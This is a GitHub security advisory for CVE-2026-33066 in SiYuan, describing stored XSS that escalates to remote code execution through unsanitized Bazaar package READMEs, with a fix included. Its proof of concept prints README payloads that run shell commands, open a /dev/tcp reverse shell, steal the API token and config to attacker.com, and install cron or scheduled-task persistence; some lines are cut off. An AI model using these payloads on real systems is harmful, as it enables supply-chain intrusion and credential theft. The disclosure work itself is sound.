SiYuan has Stored XSS to RCE via Unsanitized Bazaar README Rendering

Moderate severity | GitHub Reviewed | Published on Mar 17 in **siyuan-note/siyuan** • Updated last month

Vulnerability details | Dependabot alerts 0

Package

github.com/siyuan-note/siyuan/kernel (Go)

Affected versions	Patched versions
< 0.0.0-20260314111550-b382f50e1880	0.0.0-20260314111550-b382f50e1880

Description

Stored XSS to RCE via Unsanitized Bazaar README Rendering

Summary

SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend `renderREADME` function uses `lute.New()` without calling `SetSanitize(true)`, allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to `innerHTML` without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution.

Affected Component

- **README rendering (backend)**: `kernel/bazaar/package.go:635-645` (`renderREADME` function)
- **README rendering (frontend)**: `app/src/config/bazaar.ts:607` (`innerHTML` assignment)

- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)

Affected Versions

- SiYuan <= 3.5.9
-

Severity

Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)

- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Note: This vector requires one click (user viewing the package README), unlike the metadata vector which is zero-click.

Vulnerable Code

Backend: `kernel/bazaar/package.go:635-645`

```
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()  // Fresh Lute instance — SetSanitize NOT called
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    linkBase := "https://cdn.jsdelivr.net/gh/" + ...
    luteEngine.SetLinkBase(linkBase)
    ret = luteEngine.Md2HTML(string(mdData))  // Raw HTML in Markdown is PRESERVEI
    return
}
```

Compare with SiYuan's own note renderer in `kernel/util/lute.go:81`, which **does** sanitize:

```
luteEngine.SetSanitize(true)  // Notes ARE sanitized — but Bazaar README is NOT
```

This inconsistency demonstrates that the project is aware of the Lute sanitization API but failed to apply it to Bazaar content.

Frontend: `app/src/config/bazaar.ts:607`

```
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
    mdElement.innerHTML = response.data.html;  // Unsanitized HTML injected into I
});
```

The backend returns unsanitized HTML, and the frontend blindly assigns it to `innerHTML` without any client-side sanitization (e.g., DOMPurify).

Electron: `app/electron/main.js:422-426`

```
webPreferences: {
    nodeIntegration: true,
    contextIsolation: false,
    // ...
}
```

Any JavaScript executing in the renderer has direct access to Node.js APIs.

Proof of Concept

Step 1: Create a malicious README

Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The `README.md` contains embedded HTML:

```
# Helpful Productivity Plugin

This plugin helps you organize your notes with smart templates and AI-powered sug

## Features

- Smart template insertion
- AI-powered note organization
- Cross-platform sync

<img src=x onerror="require('child_process').exec('calc.exe')">

## Installation

Install via the SiYuan Bazaar marketplace.

## License

MIT
```

The raw `<img>` tag with `onerror` handler is valid Markdown (HTML passthrough). The Lute engine preserves it because `SetSanitize(true)` is not called. The frontend renders it via `innerHTML`, and the broken image triggers `onerror`, executing `calc.exe`.

Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar via the standard community contribution process.

Step 3: One-click RCE

When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The `onerror` handler fires, executing arbitrary OS commands.

Escalation: Reverse shell

```
# Cool Theme for SiYuan

Beautiful dark theme with custom fonts.

<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/
```

Escalation: Multi-stage payload via README

A more sophisticated attack can hide the payload deeper in the README to avoid casual review:

```
# Professional Note Templates

A comprehensive collection of note templates for professionals.

## Templates Included

| Category | Count | Description |
|----------|-------|-------------|
| Business | 15 | Meeting notes, project plans |
| Academic | 12 | Research notes, citations |
| Personal | 8 | Journal, habit tracking |

## Screenshots

<!-- Legitimate-looking image reference -->
<picture>
  <source media="(prefers-color-scheme: dark)" srcset="https://attacker.com/dark.
  <source media="(prefers-color-scheme: light)" srcset="https://attacker.com/ligh
  <img src="https://attacker.com/screenshot.png" alt="Template Preview" onload="
    var c = require('child_process');
    var o = require('os');
    var f = require('fs');
    var p = require('path');

    // Exfiltrate sensitive data
    var home = o.homedir();
    var configDir = p.join(home, '.config', 'siyuan');
    var data = {};

    try { data.apiToken = f.readFileSync(p.join(configDir, 'cookie.key'), 'utf8')
    try { data.conf = JSON.parse(f.readFileSync(p.join(configDir, 'conf.json'), '
    try { data.hostname = o.hostname(); data.user = o.userInfo().username; data.p
```

```
    // Send to attacker
    var https = require('https');
    var payload = JSON.stringify(data);
    var req = https.request({
      hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST',
      headers: { 'Content-Type': 'application/json', 'Content-Length': payload.le
    });
    req.write(payload);
    req.end();

    // Drop persistence
    if (o.platform() === 'win32') {
      c.exec('schtasks /create /tn SiYuanSync /tr \"powershell -w hidden -ep bypa
    } else {
      c.exec('(crontab -l 2>/dev/null; echo \"@reboot curl -s https://attacker.co
    }
  ">
</picture>

## Changelog

- v1.0.0: Initial release
```

This payload:

1. Uses `onload` instead of `onerror` (fires on successful image load from attacker's server)
2. Exfiltrates SiYuan API token, config, hostname, username, and platform info
3. Installs cross-platform persistence (Windows scheduled task / Linux crontab)
4. Is buried inside a legitimate-looking `<picture>` element that blends with real README content

Escalation: SVG-based payload (bypasses naive img filtering)

```
## Architecture

<svg onload="require('child_process').exec('id > /tmp/pwned')">
  <rect width="100" height="100" fill="blue"/>
</svg>
```

Escalation: Details/summary element (interactive trigger)

```
## FAQ

<details ontoggle="require('child_process').exec('whoami > /tmp/pwned')" open>
  <summary>How do I install this plugin?</summary>
  Use the SiYuan Bazaar to install.
</details>
```

The `open` attribute causes `ontoggle` to fire immediately without user interaction with the element itself.

Attack Scenario

1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
2. The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a `<picture>` tag, `<details>` block, or `<svg>`).
3. Attacker submits the package to the SiYuan Bazaar via the community contribution process.
4. A SiYuan user browses the Bazaar and clicks on the package to view its details/README.
5. The backend renders the README via `renderREADME()` without sanitization.
6. The frontend assigns the HTML to `innerHTML`.
7. The injected JavaScript executes with full Node.js access.
8. The attacker achieves RCE — reverse shell, data theft, persistence, etc.

Impact

- **Full remote code execution** on any SiYuan desktop user who views the malicious package README
- **One-click** — triggered by viewing package details in the Bazaar
- **Supply-chain attack** via the official SiYuan community marketplace
- Payloads can be deeply hidden in legitimate-looking README content, making code review difficult
- Can steal API tokens, SiYuan configuration, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors across Windows, macOS, and Linux
- Multiple HTML elements can carry payloads (`img`, `svg`, `details`, `picture`, `video`, `audio`, `iframe`, `object`, `embed`, `math`, etc.)
- Affects all platforms: Windows, macOS, Linux

Suggested Fix

1. Enable Lute sanitization for README rendering (`package.go`)

```
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
    luteEngine := lute.New()
    luteEngine.SetSanitize(true)  // ADD THIS — matches note renderer behavior
    luteEngine.SetSoftBreak2HardBreak(false)
    luteEngine.SetCodeSyntaxHighlight(false)
    linkBase := "https://cdn.jsdelivr.net/gh/" + ...
```

```
    luteEngine.SetLinkBase(linkBase)
    ret = luteEngine.Md2HTML(string(mdData))
    return
}
```

2. Add client-side sanitization as defense-in-depth (`bazaar.ts`)

```
import DOMPurify from 'dompurify';

fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
    mdElement.innerHTML = DOMPurify.sanitize(response.data.html);
});
```

3. Long-term: Harden Electron configuration

```
webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}
```

References

- GHSA-4663-4mpg-879v
- siyuan-note/siyuan@ `b382f50`
- https://nvd.nist.gov/vuln/detail/CVE-2026-33066


88250 published to siyuan-note/siyuan on Mar 17

Published to the GitHub Advisory Database last month

Reviewed last month

Published by the National Vulnerability Database last month

Last updated last month

Severity

Moderate 5.3 / 10

CVSS v4 base metrics

Exploitability Metrics	
Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	Low
User interaction	None
Vulnerable System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	None
Subsequent System Impact Metrics	
Confidentiality	Low
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EPSS score

0.218% (44th percentile)

Weaknesses

▶ CWE-79

CVE ID

CVE-2026-33066

GHSA ID

GHSA-4663-4mpg-879v

Source code

siyuan-note/siyuan

Credits

0xkakash1 Reporter

This advisory has been edited. See History.

See something to contribute? Suggest improvements for this vulnerability.